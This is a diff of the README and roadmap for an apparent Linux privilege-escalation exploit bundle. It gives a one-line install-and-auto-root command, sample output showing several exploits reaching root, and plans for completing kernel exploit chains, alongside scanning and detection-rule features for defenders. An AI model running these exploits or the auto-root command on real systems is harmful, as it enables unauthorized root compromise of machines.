> the safest one and runs it.**
|
||||
|
||||
███████╗██╗ ██╗███████╗██╗ ███████╗████████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██╗ ██╗
|
||||
██╔════╝██║ ██╔╝██╔════╝██║ ██╔════╝╚══██╔══╝██╔═══██╗████╗ ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝
|
||||
███████╗█████╔╝ █████╗ ██║ █████╗ ██║ ██║ ██║██╔██╗ ██║█████╔╝ █████╗ ╚████╔╝
|
||||
╚════██║██╔═██╗ ██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ╚██╔╝
|
||||
███████║██║ ██╗███████╗███████╗███████╗ ██║ ╚██████╔╝██║ ╚████║██║ ██╗███████╗ ██║
|
||||
╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═╝
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
> ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team
|
||||
> tool. By using it you assert you have explicit authorization to test
|
||||
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||
> ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
|
||||
> using it you assert you have explicit authorization to test the
|
||||
> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||
|
||||
## Why use this
|
||||
|
||||
Most Linux privesc tooling is broken in one of three ways:
|
||||
|
||||
- **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
|
||||
work, run nothing
|
||||
- **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
|
||||
no detection signatures and went stale years ago
|
||||
- **Per-CVE PoC repos** — one author, one distro, abandoned within
|
||||
months
|
||||
|
||||
SKELETONKEY is one binary, actively maintained, with detection rules
|
||||
for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Who it's for
|
||||
|
||||
| Audience | What you get |
|
||||
|---|---|
|
||||
| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
|
||||
| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates ([schema](docs/JSON_SCHEMA.md)). |
|
||||
| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
|
||||
| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**45 modules covering 40 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 40 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 12 still-pending entries are
|
||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||
VM sweep, not by missing code.
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
|
||||
**🟢 Modules that land root on a vulnerable host:**
|
||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
||||
(KASLR leak primitive)
|
||||
|
||||
**🟡 Modules with opt-in `--full-chain`:**
|
||||
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
|
||||
### Empirical verification (28 of 40 CVEs)
|
||||
|
||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||
each verdict against a known-target VM. Coverage:
|
||||
|
||||
| Distro / kernel | Modules verified |
|
||||
|---|---|
|
||||
| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · ptrace_traceme · sudo_samedit · sudo_runas_neg1 |
|
||||
| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · overlayfs · pwnkit · sequoia · tioscpgrp |
|
||||
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot |
|
||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||
|
||||
**Not yet verified (12):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
||||
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
||||
2026-05 Qualys disclosure — added this cycle, VM sweep pending), `sudo_host`
|
||||
(brand-new 2025-06 Stratascale disclosure — added this cycle, VM sweep
|
||||
pending), `cifswitch` (detect + `add_key` primitive VM-verified; full chain
|
||||
+ patched-kernel discriminator pending), `nft_catchall` (reconstructed
|
||||
kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll
|
||||
race trigger — deliberately under-driven, not VM-verified), `ghostlock`
|
||||
(reconstructed rtmutex/futex-PI stack-UAF trigger — deliberately
|
||||
under-driven, not VM-verified). All twelve are
|
||||
flagged in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
|
||||
|
||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||
detection status. Run `skeletonkey --module-info <name>` for the
|
||||
embedded verification records per module.
|
||||
|
||||
## Quickstart
|
||||
|
||||
```bash
|
||||
# One-shot install (x86_64 / arm64; checksum-verified)
|
||||
# Install (x86_64 / arm64; checksum-verified)
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
```
|
||||
|
||||
**skeletonkey runs as a normal unprivileged user** — that's the whole
|
||||
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
|
||||
work without `sudo`. Only `--mitigate` and rule-file installation
|
||||
write to root-owned paths.
|
||||
|
||||
```bash
|
||||
# What's this box vulnerable to? (no sudo)
|
||||
skeletonkey --scan
|
||||
|
||||
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
|
||||
skeletonkey --audit
|
||||
# One-page operator briefing for a single CVE: CWE / MITRE ATT&CK /
|
||||
# CISA KEV status, live detect() trace, OPSEC footprint, detection
|
||||
# coverage. Useful for triage tickets and SOC analyst handoffs.
|
||||
skeletonkey --explain nf_tables
|
||||
|
||||
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
|
||||
skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
# Pick the safest LPE and run it
|
||||
skeletonkey --auto --i-know
|
||||
|
||||
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
|
||||
sudo skeletonkey --mitigate copy_fail
|
||||
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
|
||||
skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
|
||||
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt
|
||||
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
|
||||
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||
--ssh-key ~/.ssh/id_rsa hosts.txt
|
||||
```
|
||||
|
||||
**SKELETONKEY runs as a normal unprivileged user** — that's the point.
|
||||
`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
|
||||
`sudo`. Only `--mitigate` and rule-file installation write root-owned
|
||||
paths.
|
||||
|
||||
### Example: unprivileged → root
|
||||
|
||||
```text
|
||||
$ id
|
||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
|
||||
$ skeletonkey --scan
|
||||
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
|
||||
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
|
||||
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
|
||||
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
|
||||
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 45 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
[ ] auto: copy_fail patched or not applicable
|
||||
[ ] auto: nf_tables precondition not met
|
||||
...
|
||||
|
||||
$ skeletonkey --exploit dirty_pipe --i-know
|
||||
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
|
||||
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
|
||||
[+] dirty_pipe: spawning su root
|
||||
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
|
||||
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
|
||||
[*] auto: launching --exploit pwnkit...
|
||||
|
||||
[+] pwnkit: writing gconv-modules cache + payload.so...
|
||||
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
`skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for
|
||||
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
|
||||
for the blue-team deployment guide.
|
||||
The safety ranking goes: **structural escapes** (no kernel state
|
||||
touched) → **page-cache writes** → **userspace cred-races** →
|
||||
**kernel primitives** → **kernel races** (least predictable). The
|
||||
goal is to never crash a production box looking for root.
|
||||
|
||||
## What this is
|
||||
## How it works
|
||||
|
||||
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
|
||||
deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here
|
||||
is empirically verified to work on the kernels it claims to target,
|
||||
CI-tested across a distro matrix, and ships with the detection
|
||||
signatures defenders need to spot it in their environment.
|
||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||
Modules export a standard interface (`detect / exploit / mitigate /
|
||||
cleanup`) plus metadata (kernel range, detection rule text). The
|
||||
top-level binary dispatches per command:
|
||||
|
||||
The same binary covers offense and defense:
|
||||
- `--scan` walks every module's `detect()` against the running host
|
||||
- `--exploit <name> --i-know` runs the named module's exploit (the
|
||||
`--i-know` flag is the authorization gate)
|
||||
- `--auto --i-know` does the scan, ranks by safety, runs the safest
|
||||
- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
|
||||
embedded rule corpus
|
||||
- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
|
||||
mitigations (module-dependent — most kernel modules say "upgrade")
|
||||
- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
|
||||
emits a ready-to-paste C entry for the `--full-chain` offset table
|
||||
|
||||
- `skeletonkey --scan` — fingerprint the host, report which bundled CVEs
|
||||
apply, and which are blocked by patches/config/LSM
|
||||
- `skeletonkey --exploit <CVE>` — run the named exploit (with `--i-know`
|
||||
authorization gate)
|
||||
- `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for
|
||||
every bundled CVE so blue teams can drop them into their tooling
|
||||
- `skeletonkey --mitigate` — apply temporary mitigations for CVEs the
|
||||
host is vulnerable to (sysctl knobs, module blacklists, etc.)
|
||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||
module-loader design.
|
||||
|
||||
## The verified-vs-claimed bar
|
||||
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets. The shared `--full-chain` finisher only returns
|
||||
`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
|
||||
otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
|
||||
populate the offset table once per target kernel via
|
||||
`skeletonkey --dump-offsets` and either set env vars or upstream the
|
||||
entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
|
||||
|
||||
## Build from source
|
||||
|
||||
```bash
|
||||
git clone https://github.com/KaraZajac/SKELETONKEY.git
|
||||
cd SKELETONKEY
|
||||
make
|
||||
./skeletonkey --version
|
||||
```
|
||||
|
||||
Builds clean with gcc or clang on any modern Linux. macOS dev builds
|
||||
also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**Active — v0.3.0 cut 2026-05-16.** Corpus covers **24 modules**
|
||||
across the 2016 → 2026 LPE timeline:
|
||||
**v0.9.13 cut 2026-07-13.** 45 modules across 40 CVEs — **every
|
||||
year 2016 → 2026 now covered**. Newest: `ghostlock` (CVE-2026-43499,
|
||||
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
|
||||
use-after-free on **kernel stack** memory where `remove_waiter()` clears
|
||||
`pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback,
|
||||
raced by a sibling-CPU `sched_setattr()` priority walk; reachable by **any
|
||||
unprivileged user with no user namespace**; VEGA / Nebula kernelCTF public
|
||||
PoC ($92k, ~97% stable) — shipped as a deliberately under-driven,
|
||||
reconstructed trigger anchored on a safe `-EDEADLK` reachability witness
|
||||
with the corpus's lowest `--auto` safety rank), `bad_epoll` (CVE-2026-46242,
|
||||
Jaeyoung Chung's "Bad Epoll" — a race UAF in `fs/eventpoll.c` reachable by
|
||||
any unprivileged user with no user namespace; kernelCTF public PoC),
|
||||
`nft_catchall` (CVE-2026-23111, the nf_tables `nft_map_catchall_activate`
|
||||
abort-path UAF — an inverted condition frees a chain still referenced by a
|
||||
catch-all GOTO map element; public reproduction by FuzzingLabs), and
|
||||
`cifswitch` (CVE-2026-46243, Asim Manizada's "CIFSwitch" — the
|
||||
`cifs.spnego` key type trusts userspace-forged authority fields, coercing
|
||||
the root `cifs.upcall` helper into loading an attacker NSS module as root).
|
||||
v0.9.0 added 5 gap-fillers
|
||||
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
|
||||
the verified count from 22 → 28 by booting real vulnerable kernels
|
||||
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
||||
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
||||
**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
|
||||
20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
|
||||
kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
|
||||
every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
|
||||
static-musl flavors).
|
||||
|
||||
- 🟢 **13 modules land root** end-to-end on a vulnerable host
|
||||
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
|
||||
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
|
||||
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
|
||||
- 🟡 **11 modules fire the kernel primitive** by default and refuse
|
||||
to claim root without empirical confirmation. Pass `--full-chain`
|
||||
to engage the shared `modprobe_path` finisher and attempt root
|
||||
pop — requires kernel offsets via env vars / `/proc/kallsyms` /
|
||||
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
|
||||
Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
|
||||
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
|
||||
nft_payload, nft_set_uaf, stackrot.
|
||||
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
||||
are exported via `skeletonkey --detect-rules --format=…`.
|
||||
Reliability + accuracy work in v0.7.x:
|
||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||
to every module via `ctx->host`.
|
||||
- **Test harness** (`tests/`, `make test`) — 88 tests: 33 kernel_range
|
||||
unit tests + 55 detect() integration tests over mocked host
|
||||
fingerprints. Runs in CI on every push.
|
||||
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
||||
that boots known-vulnerable kernels (stock distro + mainline via
|
||||
kernel.ubuntu.com), runs `--explain --active` per module, records
|
||||
match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end.
|
||||
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
||||
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||
records. Paste-into-ticket ready.
|
||||
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
||||
CISA KEV catalog + NVD CWE; 13 of 40 modules cover KEV-listed CVEs.
|
||||
- **151 detection rules** across auditd / sigma / yara / falco; one
|
||||
command exports the corpus to your SIEM.
|
||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||
|
||||
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
|
||||
Not yet verified (12 of 40 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
||||
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
||||
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
||||
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
|
||||
libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
|
||||
+ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
|
||||
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
|
||||
VM-verified) + `bad_epoll` (reconstructed epoll race trigger,
|
||||
deliberately under-driven, not VM-verified) + `ghostlock` (reconstructed
|
||||
rtmutex/futex-PI stack-UAF trigger, deliberately under-driven, not
|
||||
VM-verified). Rationale in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
|
||||
## Why this exists
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||
infrastructure work.
|
||||
|
||||
The Linux kernel privilege-escalation space is fragmented:
|
||||
## Contributing
|
||||
|
||||
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
|
||||
exploits, don't run them
|
||||
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
|
||||
stale, no CI, no defensive signatures
|
||||
- **Per-CVE single-PoC repos**: usually one author, often abandoned
|
||||
within months of release, often only one distro
|
||||
PRs welcome for: kernel offsets (run `--dump-offsets` on a target
|
||||
kernel, paste into `core/offsets.c`), new modules, detection rules,
|
||||
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
|
||||
|
||||
SKELETONKEY's bet is that there's room for a single curated bundle that
|
||||
(1) actively maintains a small set of high-quality exploits across a
|
||||
multi-distro matrix, and (2) ships detection rules alongside each
|
||||
exploit so the same project serves both red and blue teams.
|
||||
|
||||
## Architecture
|
||||
|
||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||
Modules export a standard interface: `detect()`, `exploit()`,
|
||||
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
|
||||
ranges, distro coverage, and CI test matrix.
|
||||
|
||||
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
|
||||
fingerprinting, common utilities) lives in `core/`.
|
||||
|
||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||
module-loader design and how to add a new CVE.
|
||||
|
||||
## Build & run
|
||||
**Keeping `kernel_range` tables current.** `tools/refresh-kernel-ranges.py`
|
||||
polls Debian's security tracker and reports drift between each
|
||||
module's hardcoded `kernel_patched_from` thresholds and the
|
||||
fixed-versions Debian actually ships. Run periodically (or in CI)
|
||||
to catch new backports that need to land in the corpus:
|
||||
|
||||
```bash
|
||||
make # build all modules
|
||||
./skeletonkey --scan # what's this box vulnerable to? (no sudo)
|
||||
./skeletonkey --scan --json # machine-readable output for CI/SOC pipelines
|
||||
./skeletonkey --detect-rules --format=sigma > rules.yml
|
||||
./skeletonkey --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
|
||||
tools/refresh-kernel-ranges.py # human report
|
||||
tools/refresh-kernel-ranges.py --json # machine-readable
|
||||
tools/refresh-kernel-ranges.py --patch # proposed C-source edits
|
||||
```
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the
|
||||
research credit belongs to the people who found the bugs.
|
||||
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
|
||||
the research credit belongs to the people who found the bugs.
|
||||
|
||||
## License
|
||||
|
||||
|
||||
+166
-5
@@ -164,16 +164,94 @@ Backfill of historical and recent LPEs as time allows.
|
||||
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
||||
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
||||
|
||||
**Landed since v0.1.0 (in the 28-module verified corpus):**
|
||||
|
||||
- [x] **CVE-2021-3156** — sudo Baron Samedit: 🟡 PRIMITIVE
|
||||
(`sudoedit -s` heap overflow; heap-tuned, may crash sudo).
|
||||
- [x] **CVE-2021-33909** — Sequoia: 🟡 PRIMITIVE (`seq_file` size_t
|
||||
overflow → kernel stack OOB; trigger + witness, no cred chain).
|
||||
- [x] **CVE-2023-22809** — sudoedit EDITOR/VISUAL argv escape: 🟢 FULL
|
||||
structural argv-injection (no kernel state, no offsets).
|
||||
- [x] **CVE-2023-2008** — vmwgfx DRM bo size-validation OOB: 🟡
|
||||
PRIMITIVE (kmalloc-512 OOB + slab witness, no cred chain).
|
||||
|
||||
**Landed (ported from public PoC, pending VM verification — NOT part
|
||||
of the 28-module verified corpus):**
|
||||
|
||||
- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
|
||||
write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
|
||||
stub is retired. The stub's open question ("is the
|
||||
unprivileged-userns-netns scenario in scope?") is resolved —
|
||||
the module ships and reports `PRECOND_FAIL` when the userns gate
|
||||
is closed.
|
||||
- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
|
||||
decrypt page-cache write. Ported from the V12 PoC.
|
||||
- [x] **CVE-2026-41651** — Pack2TheRoot: 🟡 PackageKit `InstallFiles`
|
||||
TOCTOU. Ported from the public Vozec PoC; original disclosure by
|
||||
Deutsche Telekom security. Userspace D-Bus LPE with high-
|
||||
confidence `detect()` — reads PackageKit's version directly over
|
||||
D-Bus and compares against the pinned fix release 1.3.5 (commit
|
||||
`76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
|
||||
Adds an optional GLib/GIO build dependency, autodetected via
|
||||
`pkg-config gio-2.0`; stub-compiles if absent.
|
||||
- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
|
||||
on a vulnerable target**, pin remaining CVE fix commits, add
|
||||
version-range tables, and promote 🟡 → 🟢. `--auto` auto-enables
|
||||
`--active` so the probes give definitive verdicts; each
|
||||
`detect()` runs in a fork-isolated child so one bad probe
|
||||
cannot tear down the scan.
|
||||
|
||||
**--auto accuracy work (landed 2026-05-22):**
|
||||
|
||||
- [x] `--auto` auto-enables `--active`: per-module sentinel probes
|
||||
run in `/tmp` / fork-isolated namespaces, so version-only
|
||||
checks can no longer be fooled by silent distro backports.
|
||||
- [x] Per-module verdict table at scan time (VULNERABLE / patched /
|
||||
precondition / indeterminate) instead of only printing the
|
||||
`VULNERABLE` rows.
|
||||
- [x] Scan-end summary line counting each verdict class.
|
||||
- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
|
||||
printed in the `--auto` banner alongside kernel + arch.
|
||||
- [x] Fork-isolated `detect()` calls — a SIGILL/SIGSEGV in any one
|
||||
module's probe is contained and the scan continues. Surfaced
|
||||
while testing entrybleed's `prefetchnta` sweep under emulated
|
||||
CPUs: exactly the failure mode the isolation now handles.
|
||||
- [x] `--dry-run` flag: previews the picked exploit (or single-module
|
||||
operation) without firing. Works with `--auto`, `--exploit`,
|
||||
`--mitigate`, `--cleanup`. `--auto --dry-run` does NOT require
|
||||
`--i-know` (nothing fires) so operators can inspect the host's
|
||||
attack surface without arming. Bare `--auto` still gates on
|
||||
`--i-know` and now points to `--dry-run` in the refusal message.
|
||||
- [x] Version-pinned `detect()` for the 3 ported modules — Debian
|
||||
tracker provided the fix commits: `dirtydecrypt` against mainline
|
||||
`a2567217` (Linux 7.0); `fragnesia` against 7.0.9; `pack2theroot`
|
||||
against PackageKit 1.3.5. The `kernel_range` model now drives
|
||||
their verdicts; `--active` confirms empirically on top.
|
||||
- [x] **`core/host` host-fingerprint refactor.** A single
|
||||
`struct skeletonkey_host` is populated once at startup and
|
||||
handed to every module via `ctx->host`: kernel version + arch
|
||||
+ distro id/version + capability gates (unprivileged_userns,
|
||||
AppArmor restriction, BPF disabled, KPTI, lockdown, SELinux,
|
||||
Yama ptrace) + service presence (systemd, system D-Bus). The
|
||||
`--auto` / `--scan` banner now prints the fingerprint up front
|
||||
so operators see at a glance which gates are open. 4 modules
|
||||
migrated to consume the fingerprint (dirtydecrypt, fragnesia,
|
||||
pack2theroot, overlayfs) — replacing per-detect `uname`s,
|
||||
`/etc/os-release` parses, and userns fork-probes with O(1)
|
||||
cached lookups. See `docs/ARCHITECTURE.md` for the pattern;
|
||||
future modules can opt-in by including `core/host.h`.
|
||||
- [ ] Migrate the remaining modules (cgroup_release_agent /
|
||||
overlayfs_setuid / copy_fail_family bridge / others) to
|
||||
consume `ctx->host` — incremental follow-up.
|
||||
|
||||
**Carry-overs:**
|
||||
|
||||
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
||||
- [ ] Fragnesia (if it lands as a CVE)
|
||||
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
||||
ships (responsible-disclosure-first)
|
||||
|
||||
## Phase 8 — Full-chain promotions (post v0.1.0)
|
||||
|
||||
The 7 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||
The 14 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
|
||||
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
||||
None requires fresh research — each has a public reference exploit;
|
||||
@@ -184,9 +262,92 @@ auto-resolve via System.map / kallsyms when accessible).
|
||||
|
||||
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
|
||||
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
|
||||
The other four are lower priority — fuse_legacy and cls_route4 have
|
||||
The remainder are lower priority — fuse_legacy and cls_route4 have
|
||||
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
|
||||
race window makes it inherently low-yield.
|
||||
race window makes it inherently low-yield; the nft_* family and
|
||||
vmwgfx need their per-kernel offset tables built out.
|
||||
|
||||
The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
||||
**not** part of this Phase 8 promotion set — they need VM verification
|
||||
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||
full-chain work is meaningful.
|
||||
|
||||
## Phase 9 — Empirical verification + operator briefing (DONE 2026-05-23, v0.7.1)
|
||||
|
||||
The largest single jump in trust signal: every claim in the corpus is
|
||||
now backed by either a unit test (88-test harness) or a real-VM
|
||||
verification record (22 of 26 CVEs), and the binary surfaces both.
|
||||
|
||||
- [x] **`tools/verify-vm/`** — Vagrant + Parallels scaffold. Boots
|
||||
known-vulnerable kernels (stock distro + mainline via
|
||||
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per
|
||||
module, emits JSONL verification records.
|
||||
